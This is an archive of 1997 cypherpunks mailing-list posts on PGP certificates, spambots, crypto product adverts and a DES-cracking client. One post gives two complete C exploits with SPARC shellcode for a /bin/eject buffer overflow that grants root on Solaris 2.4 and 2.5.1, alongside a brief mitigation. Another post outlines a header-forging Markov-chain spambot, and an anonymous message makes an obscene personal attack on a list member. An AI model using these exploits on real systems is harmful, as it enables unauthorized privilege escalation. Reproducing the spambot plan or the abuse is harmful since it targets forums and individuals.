>  Subject: Re: Failure of centralized certificates - was "Experts slam PGP
>  encryption"

> In article <5g8i92$4rs@news.ox.ac.uk>, patrick@gryphon.psych.ox.ac.uk
>  (Patrick Juola) writes:

>  >>As a corporation with diverse ownership, it should be much more complex
>  >>for VeriSign to subvert their own system for a cause than it would be
>  >>in the case of an individual such as Phil Zimmermann or David Sternlight.
 
>  The only ones we care about are those with "keys to the kingdom".
>  In the case of those who are so empowered, one needs positive
>  incentive for them to corrupt the database.  Could some political
>  cause provide that incentive -- yes.

  Damn good thing that there are no political issues surrounding crypto.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: shiftcontrol@nml.guardian.co.uk (Shift Control)
Date: Sun, 16 Mar 1997 10:15:42 -0800 (PST)
To: shiftcontrol@nml.guardian.co.uk
Subject: Stereotypes and other Shenanigans
Message-ID: <v0153052eaf4df659ff69@[194.205.4.69]>
MIME-Version: 1.0
Content-Type: text/plain


Ireland. The land of the little people; the Emerald Isle of Yeatsian
yearning and pastoral simplicity; a Celtic oasis free from the madness of
modern life. As if.

This week we present the Oirish issue of Shift Control, inspired not so
much by St Patrick's Day as by the clichés enveloping it.

Our Hibernian hypertour starts with a look at 10 Legends of Blarneyland, an
examination of  fables and stereotypes that takes the 'pub' out of
'Republic' and identifies the myths in the mist. Following this, Connor
O'Conn, one of the great Conns of Irish letters, casts his sceptical eye
over 10 Irish literary masterpieces. And in Shamrock 'n' Roll Nicholas
Allen tunes his ear to Irish contributions to the world of pop music, from
Daniel O'Donnell to Boyzone.

Our quiz this week asks how wild you are about Wilde, and in Around the
Word we bung 'Cork' into the search engines.

Also this week: a man gets high on skis, hygiene-freaks get a mouthful of
foam, Kate Spicer gets drunk, and you get a chance to win books, CDs, fame,
and £200.

And finally Freebee, our animated bee and pop historian, presents a new
chapter of his memoirs and lets you send another animated online postcard.

It's all yours, it's all free, and it's all at
http://www.shiftcontrol.com

Cheers,

The Shift Control Team

Shift Control is produced by the Guardian's New Media Lab with help from
Boddingtons and Stella Artois Dry






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 13 Mar 1997 19:28:10 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Is Graham-John's inane spam robogenerated?
In-Reply-To: <k3ci4D12w165w@bwalk.dm.com>
Message-ID: <3328C5B6.E2E@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> ichudov@algebra.com (Igor Chudov @ home) writes:
> > Dale Thorn wrote:
> > > It was obvious to me (a native speaker) early on that the messages
> > > from GB referring to Dr. Vulis were auto-generated.

> > i am sure they are not machine generated. the content is different
> > every time, plus it srt of depends on the context to which he is replying.
> > like, if vulis's article is about sexual perversions, GB calls him a
> > pervert.

> I've been writing a program (in C, actually, although perl might be
> a good tool for strings and such :-) that would scan Usenet newsgroups
> for trigger keywords and generate randomized follow-ups depending on
> what's been said. It's a big project; I hoped to have it done by
> April 1st, but it'll definitely take longer.

I could write what GB's auto-postings were doing in a handful of
hours.  It was painfully obvious, i.e., it was obvious that GB would
no more take the time to hand type those inane contentless replies
than Gilmore would take the time to hand inspect c-punks messages.

Before the modern DOS word processors came along, text parsers for
formatting and printing were a dime a dozen, and GB's parser gave
no signs of being anything beyond the simplest one-phrase reply 'bot.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Strut Your Stuff" <mail@mailman.com>
Date: Thu, 13 Mar 1997 20:02:27 -0800 (PST)
To: you@georgia.sallynet.com
Subject: 1001 FREE Places to Promote Your Site!
Message-ID: <199703140329.TAA08439@georgia.sallynet.com>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 13 Mar 1997 19:57:36 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Is Graham-John's inane spam robogenerated?
In-Reply-To: <199703140332.VAA17635@manifold.algebra.com>
Message-ID: <3328CC96.59F7@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> stop spamming the list thorn
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^

What the hell is this?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Thu, 13 Mar 1997 17:03:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: *** VSA2048 Cryptography Module ***
Message-ID: <970313200154_-869287592@emout17.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello,

Greetings! DataET Research, Data Engineering Technologies, has recently
initiated the distribution of VSACM, VSA2048 Cryptography Module. VSACM
implements a relatively new, but extensively advanced and sophisticated,
encryption algorithm named VSA2048. If you are not interested in
incorporating the power of advanced encryption into the software that you
develop, you may want to visit http://members.aol.com/dataetrsch/ if you are
searching for a help file / system development, installation program
development, or shareware distribution and marketing service. Otherwise,
please continue on.

VSACM (the VSA2048 algorithm)...

o Is a royalty-free Windows DLL module featuring advanced cryptography.
o Is a cost-effective size of only 50 kilobytes.
o Contains more than 120 procedures and functions.
o Implements the VSA2048 encryption algorithm.
o Allows encryption keys as large as 2048 bits.
o Is extensively key and data dependent.
o Includes 18 algorithm extensions.
o Processes all forms of binary and ASCII files.
o Allows multiple encryption layer levels.
o Has absolutely no back-doors or magical keys.
o Includes time and date locking features. 
o Includes file specific unique encryption features.
o Includes data importance and sensitivity stamping features.

VSACM, being a Windows DLL module, can be accessed through programs developed
with popular application and database programming languages and environments
such as: C, C++, Visual Basic, Delphi, Turbo Pascal, PowerBuilder, Smalltalk,
dBase, Paradox, Access, FoxPro, Oracle, Sybase, SQL, and numerous others.

DataET Research has released a shareware trial edition version of VSACM named
VSACM V2.0.

To download VSACM V2.0 for free, please go to:
http://members.aol.com/dataetrsch/vsacm.html.

I hope you will consider applying VSACM in the software you develop.
Thank-you very much for your time.

Sincerely,

Jeremy K. Yu-Ramos
President
DataET Research
Data Engineering Technologies




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anand Abhyankar <anand@querisoft.com>
Date: Thu, 13 Mar 1997 07:47:41 -0800 (PST)
To: Jeremey Barrett <jeremey@veriweb.com>
Subject: Re: SecureFile
In-Reply-To: <33203B5E.28D8E637@veriweb.com>
Message-ID: <3328D1C4.2736@querisoft.com>
MIME-Version: 1.0
Content-Type: text/plain


Jeremey Barrett wrote:
> Out of curiosity, do you know how the keys are protected by windoze
> itself?

I am sorry I dont understand you question.

> I have the CAPI cd but have had all of 5 minutes to look at it.  I would
> presume they're hashing your password into a key and then encrypting
> with
> it, or encrypting another key with it. Any idea?

Your Windows password is not used to actually any data. The Windows
login just lets you access your keys. This way even if you change your
Windows password it will not affect yout CAPI installation. As long as
the OS identifies you it lets you access your keys.

> What is somewhat bothersome (and this would go for anything using CAPI
> in the way your product does) is the reliance upon the windoze password.
> If that were compromised, it seems all other CAPI integrated keys would
> also be compromised. Let's hope they choose good passwords, and know not
> to re-use the same one on the net somewhere. :-)

Yes! you are right. Security without a good policy is an open door.

> (BTW, does windoze allow arbitrary length passwords or phrases, or does
> it
> have a short limit?)
> 

This can be configured by the administrator of the domain.

> Jeremey.

Thank you for your interest in SecureFile. Please feel free to ask any
questions you may have.

Anand Abhyankar
-- 
                                             \|||/
                                            ( O-O )
 *----------------*-----------*--------.ooo0--(_)-0ooo.----------*
  Anand Abhyankar                                               
  Querisoft Systems Pvt. Ltd.   Email       : anand@querisoft.com 
  810, Sindh Society, Aundh,    Phone (Off) : 91-212-385925       
  Pune - 411 007. INDIA               (Res) : 91-212-351023
                                          .oooO         
                			  (   )   Oooo.
 *----------------*-----------*------------\ (----(   )----------*
                                            \_)    ) /
                                                  (_/




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 13 Mar 1997 20:35:23 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Is Graham-John's inane spam robogenerated?
In-Reply-To: <199703140359.VAA17922@manifold.algebra.com>
Message-ID: <3328D568.6C97@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > Igor Chudov @ home wrote:
> > > stop spamming the list thorn
> >   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> > What the hell is this?

> That's an illustration that it is easy to post things that look
> autogenerated, but are not. On the other hand, it is possible to
> autogenerate things that look non-trivial to a novice.

I'll agree readily with the latter sentence, but not with the
former, if a fairly large number of variations are involved.
After all, who would bother with that much precision typing?

> One gentleman from a third-rate educational institution is known
> for sending tons of lisp-generated articles to one of the moderated
> newsgroups, just to annoy moderators. They do look like they are created
> by someone with a rudiment of inteligence.

Yeah, that's the goal of the spambots. They're actually useful tools
for combatting the elitist parasites, er, tenured professors who
troll these net forums so much. Problem is, the sheeple get confused
about who's doing what to whom...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cristian SCHIPOR <skipo@sundy.cs.pub.ro>
Date: Thu, 13 Mar 1997 11:18:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Exploit for buffer overflow in /bin/eject - Solaris 2.X
Message-ID: <Pine.GSO.3.95.970313211648.23406C-100000@sundy.cs.pub.ro>
MIME-Version: 1.0
Content-Type: text/plain


motto: "Mihai Eminescu was a good friend of Ion Creanga"

Thu  Mar 13 21:01:00 EET 1997  - Romania

"Hole in /bin/eject - buffer overflow"

I exploited the buffer overflow hole in /bin/eject on Solaris 2.X (who
have suid exec bit and is owned by root). The buffer overflow problem
appears in an internal function media_find(). The result is: any user can 
gain root shell. So, to prevent /bin/eject exploit, you have to get out 
suid-exec bit from /bin/eject (that's very simple) and compile a little 
program like:

 main()
 {execl("/bin/eject","eject","floppy",(char *)0);}
 
That allows your work station ordinary users to eject floppy (thats the main 
task for eject).

I wrote two exploits (Solaris 2.4 & 2.5.1). My exploit for Solaris 2.4 
looks a bit ugly - the buffer is two short - but it works.
For both exploits argv[1] can change the STACK_OFFSET value (for 
troubleshotings +- 8 .. +-64 .. the step is 8).
The interesting thing about this exploit it worked on some machines where 
it was installed some stuff to make inofensiv buffer overflows exploits ... 

Ok you have right down two exploits.
For future I'm planing a web page with security stuff for Solaris so try 
http://www.math.pub.ro/security.

Cristian Schipor - Computer Science Faculty - Bucharest - Romania
E-mail: skipo@sundy.cs.pub.ro, skipo@math.pub.ro, skipo@ns.ima.ro
Phone: 401-410.60.88

------------------------ banana24.c -----------------------------
/* For Solaris 2.4 */

   #include <stdio.h>
   #include <stdlib.h>
   #include <sys/types.h>
   #include <unistd.h>
   
   #define BUF_LENGTH 264
   #define EXTRA 36
   #define STACK_OFFSET 8
   #define SPARC_NOP 0xc013a61c
   
   u_char sparc_shellcode[] =

   "\xc0\x13\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
   "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
   "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
   "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
   "\x91\xd0"/*\x20\x08"*/
   ;
   
   u_long get_sp(void)
   {
   __asm__("mov %sp,%i0 \n");
   }
   
   void main(int argc, char *argv[])
   {
   char buf[BUF_LENGTH + EXTRA + 8];
   long targ_addr;
   u_long *long_p;
   u_char *char_p;
   int i, code_length = strlen(sparc_shellcode),dso=0;
   
   if(argc > 1) dso=atoi(argv[1]);
   
   long_p =(u_long *) buf ;
   targ_addr = get_sp() - STACK_OFFSET - dso;
   
   for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
   *long_p++ = SPARC_NOP;
   
   char_p = (u_char *) long_p;
   
   for (i = 0; i < code_length; i++)
   *char_p++ = sparc_shellcode[i];
   
   long_p = (u_long *) char_p;
   
   for (i = 0; i < EXTRA / sizeof(u_long); i++)
   *long_p++ =targ_addr;
   
   printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
   targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
   execl("/bin/eject", "eject", & buf,(char *) 0);
   perror("execl failed");
   }
------------------------- end of banana24.c ------------------------

------------------------- banana25.c -------------------------------
/* Wrote for Solaris 2.5.1 */

   #include <stdio.h>
   #include <stdlib.h>
   #include <sys/types.h>
   #include <unistd.h>
   
   #define BUF_LENGTH 364
   #define EXTRA 400
   #define STACK_OFFSET 400
   #define SPARC_NOP 0xa61cc013
   
   u_char sparc_shellcode[] =

   "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
   "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
   "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
   "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
   "\x91\xd0\x20\x08"
   ;
   
   u_long get_sp(void)
   {
   __asm__("mov %sp,%i0 \n");
   }
   
   void main(int argc, char *argv[])
   {
   char buf[BUF_LENGTH + EXTRA + 8];
   long targ_addr;
   u_long *long_p;
   u_char *char_p;
   int i, code_length = strlen(sparc_shellcode),dso=0;
   
   if(argc > 1) dso=atoi(argv[1]);
   
   long_p =(u_long *) buf ;
   targ_addr = get_sp() - STACK_OFFSET - dso;
   for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
   *long_p++ = SPARC_NOP;
   
   char_p = (u_char *) long_p;
   
   for (i = 0; i < code_length; i++)
   *char_p++ = sparc_shellcode[i];
   
   long_p = (u_long *) char_p;
   
   for (i = 0; i < EXTRA / sizeof(u_long); i++)
   *long_p++ =targ_addr;
   
   printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
   targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
   execl("/bin/eject", "eject", & buf[1],(char *) 0);
   perror("execl failed");
   }
---------------------------- end of banana25.c ------------------------







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 13 Mar 1997 19:42:19 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Is Graham-John's inane spam robogenerated?
In-Reply-To: <3328C5B6.E2E@gte.net>
Message-ID: <199703140332.VAA17635@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


stop spamming the list thorn

Dale Thorn wrote:
> 
> Dr.Dimitri Vulis KOTM wrote:
> > ichudov@algebra.com (Igor Chudov @ home) writes:
> > > Dale Thorn wrote:
> > > > It was obvious to me (a native speaker) early on that the messages
> > > > from GB referring to Dr. Vulis were auto-generated.
> 
> > > i am sure they are not machine generated. the content is different
> > > every time, plus it srt of depends on the context to which he is replying.
> > > like, if vulis's article is about sexual perversions, GB calls him a
> > > pervert.
> 
> > I've been writing a program (in C, actually, although perl might be
> > a good tool for strings and such :-) that would scan Usenet newsgroups
> > for trigger keywords and generate randomized follow-ups depending on
> > what's been said. It's a big project; I hoped to have it done by
> > April 1st, but it'll definitely take longer.
> 
> I could write what GB's auto-postings were doing in a handful of
> hours.  It was painfully obvious, i.e., it was obvious that GB would
> no more take the time to hand type those inane contentless replies
> than Gilmore would take the time to hand inspect c-punks messages.
> 
> Before the modern DOS word processors came along, text parsers for
> formatting and printing were a dime a dozen, and GB's parser gave
> no signs of being anything beyond the simplest one-phrase reply 'bot.
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 13 Mar 1997 19:39:22 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: *** VSA2048 Cryptography Module ***
In-Reply-To: <970313200154_-869287592@emout17.mail.aol.com>
Message-ID: <199703140335.VAA17689@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Mr. Ramos, 

How about your promise to release the source code? I am sure that you,
as an honest and honorable man and a businessman who needs trust, will
have no problems fulfilling your promise.

Your promise is long overdue.

Right? 

igor

DataETRsch@aol.com wrote:
> 
> Hello,
> 
> Greetings! DataET Research, Data Engineering Technologies, has recently
> initiated the distribution of VSACM, VSA2048 Cryptography Module. VSACM
> implements a relatively new, but extensively advanced and sophisticated,
> encryption algorithm named VSA2048. If you are not interested in
> incorporating the power of advanced encryption into the software that you
> develop, you may want to visit http://members.aol.com/dataetrsch/ if you are
> searching for a help file / system development, installation program
> development, or shareware distribution and marketing service. Otherwise,
> please continue on.
> 
> VSACM (the VSA2048 algorithm)...
> 
> o Is a royalty-free Windows DLL module featuring advanced cryptography.
> o Is a cost-effective size of only 50 kilobytes.
> o Contains more than 120 procedures and functions.
> o Implements the VSA2048 encryption algorithm.
> o Allows encryption keys as large as 2048 bits.
> o Is extensively key and data dependent.
> o Includes 18 algorithm extensions.
> o Processes all forms of binary and ASCII files.
> o Allows multiple encryption layer levels.
> o Has absolutely no back-doors or magical keys.
> o Includes time and date locking features. 
> o Includes file specific unique encryption features.
> o Includes data importance and sensitivity stamping features.
> 
> VSACM, being a Windows DLL module, can be accessed through programs developed
> with popular application and database programming languages and environments
> such as: C, C++, Visual Basic, Delphi, Turbo Pascal, PowerBuilder, Smalltalk,
> dBase, Paradox, Access, FoxPro, Oracle, Sybase, SQL, and numerous others.
> 
> DataET Research has released a shareware trial edition version of VSACM named
> VSACM V2.0.
> 
> To download VSACM V2.0 for free, please go to:
> http://members.aol.com/dataetrsch/vsacm.html.
> 
> I hope you will consider applying VSACM in the software you develop.
> Thank-you very much for your time.
> 
> Sincerely,
> 
> Jeremy K. Yu-Ramos
> President
> DataET Research
> Data Engineering Technologies
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 13 Mar 1997 20:10:09 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Is Graham-John's inane spam robogenerated?
In-Reply-To: <3328CC96.59F7@gte.net>
Message-ID: <199703140359.VAA17922@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> 
> Igor Chudov @ home wrote:
> > stop spamming the list thorn
>   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> 
> What the hell is this?
> 

:) That's an illustration that it is easy to post things that look
autogenerated, but are not.

On the other hand, it is possible to autogenerate things that look
non-trivial to a novice.

One gentleman from a third-rate educational institution is known
for sending tons of lisp-generated articles to one of the moderated
newsgroups, just to annoy moderators. They do look like they are created
by someone with a rudiment of inteligence.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 13 Mar 1997 21:50:13 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Is Graham-John's inane spam robogenerated?
In-Reply-To: <3328D568.6C97@gte.net>
Message-ID: <199703140544.XAA00504@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> Igor Chudov @ home wrote:
> > Dale Thorn wrote:
> > > Igor Chudov @ home wrote:
> > > > stop spamming the list thorn
> > >   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> > > What the hell is this?
> 
> > That's an illustration that it is easy to post things that look
> > autogenerated, but are not. On the other hand, it is possible to
> > autogenerate things that look non-trivial to a novice.
> 
> I'll agree readily with the latter sentence, but not with the
> former, if a fairly large number of variations are involved.
> After all, who would bother with that much precision typing?

I am not so sure that it really was precision typing. (and would like to
look at evidence)
 
> > One gentleman from a third-rate educational institution is known
> > for sending tons of lisp-generated articles to one of the moderated
> > newsgroups, just to annoy moderators. They do look like they are created
> > by someone with a rudiment of inteligence.
> 
> Yeah, that's the goal of the spambots. They're actually useful tools
> for combatting the elitist parasites, er, tenured professors who
> troll these net forums so much. Problem is, the sheeple get confused
> about who's doing what to whom...
> 

The paragraph above reminds me of The Right Reverend Colin James III.

He was also trying to combat elitist professors. That is a long and
happy story.

I think that a perfect spambot is possible and is a great exercise in
programming. It is also a cool and very creative idea, and as someone
suggested earlier, it can be created on the basis of cbcb. The net
result of the spambot would probably be a huge scandal and lots of
people leaving usenet. Some of them would be tenured professors. I see
few people who would benefit from it though.

Along the lines of poetry festivals and spambots, I may suggest this.
When I was 16, I wrote a prose writing program in Pascal. It read a long
text and created a table: as the key, it had pairs of words, and as the
data, it had list of all words that follow the pair in the index. The
table was generated by a single pass through the source text, where
there was a moving 3-word window and first two words were used as the
key to the third word. The window moves one word at a time.

The program then attempted to generate intelligent-sounding garbage, in
the following way. It started with a random pair of words from the
source text. It then looked up the table and selected(**) the word that
was most frequently used after these two. Then a moving window moved one
word right to the next and took the last word (which was just selected)
and the word before last as the key into the table, and did that ad 
infinitum.

The loop repeats indefinitely. The text that results looks like it was
written by a schizophrenic -- it is more or less correct grammatically,
uses more or less compatible words and seems to make sense, but the
meaning seems to evade the reader. It is an extremely strange and annoying
feeling.

(**) The problem with this algorithm is that after a while, it starts
looping.  To fix that, the process of selection needs to be randomized
somewhat. The possibe randomizations are obvious.

To apply this to poetry and following-up spambots, it can do the
following [besides forging headers, etc]: for each message, read it,
create the table, and follow up with "I agree" and a schizophrenized
version of the quoted article.

It can also use USENET as a bigger source of the triples. I strongly
suggest to build one table per newsgroup and not mix diff. newsgroups
together.  This way, spambot posting to comp.lang.eiffel would talk
about Eiffel and contravariance, and a spambot posting to
soc.culture.russian would talk about lying homosexual purebred sovok
forgers.

If we think about it for long enough time, this algorithm guarantees
that spambot-generated messages will always be on topic in the
newsgroups that are being spammed. That is going to perplex people 
very much.

	- Igor.


``In my final assault to save time for all men to have Eternal Life, I had
to face eons of time limits (negative micro-split second, split second,
etc., time limits) since I was born at Hanceville and could only make
ten mistakes in one locality or else it would have been over for all men
in Eternity as they would have been exterminated in the spirit and dead
forever in a lethal deadly proton.''

``u.s. atty d.blair watson returned my call today,thank you, he
received a letter from ok. atty general office referring my info
to him about gardner ks 8-10-95. i talked to watson today 3-5-97
watson told me that its not against the law for a federal 
operative to intimadate a person from entering the u.s.federal
courts building, i find that hard to belive but thats what he
said, i guess what one person considers intimadation a other
person might not,i told him about the part of the setup were it
appeared a person was going for a gun,when joe t*** pulled 
towards the FLAGED car and about hit it,its like well did you 
see a gun? no....was i supposed to? would it matter if i had?
what if they shot at me and missed? i think watson missing the
point, if watson knows why          congress voted to stop
wiretap authourity from expanding,he would check out joe T***''




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 14 Mar 1997 00:03:04 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: *** VSA2048 Cryptography Module ***
In-Reply-To: <199703140335.VAA17689@manifold.algebra.com>
Message-ID: <3328EB21.69DC@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


> DataETRsch@aol.com wrote:
> > Greetings! DataET Research, Data Engineering Technologies, has recently
> > initiated the distribution of VSACM, VSA2048 Cryptography Module.

Igor Chudov @ home wrote:
> How about your promise to release the source code? I am sure that you,
> as an honest and honorable man and a businessman who needs trust, will
> have no problems fulfilling your promise.
> 
> Your promise is long overdue.

Igor, 
  You have to remember how easily DataRETch's feeling were hurt the last
time they advertised on the CypherPunks list, when list members 'flamed'
them with questions like, "How does it work?"
  So let's try to ask kinder, gentler questions this time around, such
as, "Do the disks come in pretty colors?"
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <an7575@anon.nymserver.com>
Date: Fri, 14 Mar 1997 00:29:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Silvernail Concedes / Hides In Shame
In-Reply-To: <970313.203200.4c0.rnr.w165w@sendai.scytale.com>
Message-ID: <199703140829.BAA28188@shaman.lycaeum.org>
MIME-Version: 1.0
Content-Type: text/plain



Roy M. Silvernail wrote:
> For the rest of the list, my comments were sent to
> an7575@anon.nymserver.com in private mail.  He/she/it chose to quote
> private mail to the list.  Make of that what you will.

  If this is the case, Roy, I apologize.
  I didn't notice that you had changed the reply-to address on your
response to bypass the anonymity of your reply, so it appeared in
my headers in the same format as those replies I receive through
the list.

  I sometimes forget that there are those who do not wish the 
contents of their private email to reflect on their public image.
  I wouldn't lose too much sleep over it, however, since many 
people on the list hate to have their bubbles burst and probably
killfiled me after my first post.

  I'm still waiting for someone to reply to the actual issues I
raised in my post, as opposed dealing with imaginary daemons that
they tacked on to the thread.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rocke Verser <rcv@dopey.verser.frii.com>
Date: Fri, 14 Mar 1997 00:42:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: DESCHALL v0.214 now available -- US/Canada only
Message-ID: <199703140842.BAA03852@dopey.verser.frii.com>
MIME-Version: 1.0
Content-Type: text/plain


Greetings!

DESCHALL Version 0.214 is now available in the US and Canada.
DESCHALL is a client-server based approach to cracking the RSA
DES Challenge.

Information about DESCHALL is available at the following Web site:

     http://www.frii.com/~rcv/deschall.htm

As indicated in the above Web page, Michael Paul Johnson has
graciously agreed to distribute DESCHALL from his export-controlled
North American Crypto Site.  [Thanks, MPJ!]

At the present time, the server is running at about 2% of capacity.
The server can handle a *whole lot* more clients.

Clients are available for Linux, FreeBSD, OS/2, Windows 95/NT,
and Sparc.  [Offers for guest accounts to compile other clients
gladly accepted!]

Pentium 120MHz clients can test about 600,000 keys per second.

Good luck!

-- Rocke Verser, rcv@dopey.verser.frii.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Fri, 14 Mar 1997 06:01:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [ADMINISTRATIVIUM] ElGamal
Message-ID: <199703141357.FAA11256@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain


The only `culture' Timmy C[ocksucker] May 
possesses is that cultivated from his foreskin 
scrapings.

           O O  Timmy C[ocksucker] May
            |
          \___/
           \_/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 14 Mar 1997 07:06:51 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Is Graham-John's inane spam robogenerated?
In-Reply-To: <199703140544.XAA00504@manifold.algebra.com>
Message-ID: <33296935.3C5E@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Along the lines of poetry festivals and spambots, I may suggest this.
> When I was 16, I wrote a prose writing program in Pascal. It read a long
> text and created a table: as the key, it had pairs of words, and as the
> data, it had list of all words that follow the pair in the index. The
> table was generated by a single pass through the source text, where
> there was a moving 3-word window and first two words were used as the
> key to the third word. The window moves one word at a time.
> The loop repeats indefinitely. The text that results looks like it was
> written by a schizophrenic -- it is more or less correct grammatically,
> uses more or less compatible words and seems to make sense, but the
> meaning seems to evade the reader. It is an extremely strange and
> annoying feeling.

If an actor really "gets into" their part, could you easily tell
if the schizophrenia is good acting, or is latent in the actor?
(BTW, does not apply to O.J. Simpson or Ronald Reagan).

I hope you're not writing Pascal any more.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Fri, 14 Mar 1997 08:09:22 -0800 (PST)
To: rcv@dopey.verser.frii.com
Subject: Re: DESCHALL v0.214 now available -- US/Canada only
In-Reply-To: <199703140842.BAA03852@dopey.verser.frii.com>
Message-ID: <199703141614.IAA05919@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Rocke Verser writes:
> 
> Greetings!
> 
> DESCHALL Version 0.214 is now available in the US and Canada.
> DESCHALL is a client-server based approach to cracking the RSA
> DES Challenge.
> 
> Information about DESCHALL is available at the following Web site:
> 
>      http://www.frii.com/~rcv/deschall.htm



Sorry, but with no source code I'm not touching it.



-- 
             Eric Murray  ericm@lne.com  ericm@motorcycle.com
  Network security and encryption consulting: www.lne.com/ericm/resume.html
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 14 Mar 1997 06:07:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Silvernail Concedes / Hides In Shame
In-Reply-To: <199703140829.BAA28188@shaman.lycaeum.org>
Message-ID: <4X7J4D16w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


TruthMonger <an7575@anon.nymserver.com> writes:

> Roy M. Silvernail wrote:
> > For the rest of the list, my comments were sent to
> > an7575@anon.nymserver.com in private mail.  He/she/it chose to quote
> > private mail to the list.  Make of that what you will.
>
>   If this is the case, Roy, I apologize.
>   I didn't notice that you had changed the reply-to address on your
> response to bypass the anonymity of your reply, so it appeared in
> my headers in the same format as those replies I receive through
> the list.
>
>   I sometimes forget that there are those who do not wish the
> contents of their private email to reflect on their public image.
>   I wouldn't lose too much sleep over it, however, since many
> people on the list hate to have their bubbles burst and probably
> killfiled me after my first post.
>
>   I'm still waiting for someone to reply to the actual issues I
> raised in my post, as opposed dealing with imaginary daemons that
> they tacked on to the thread.

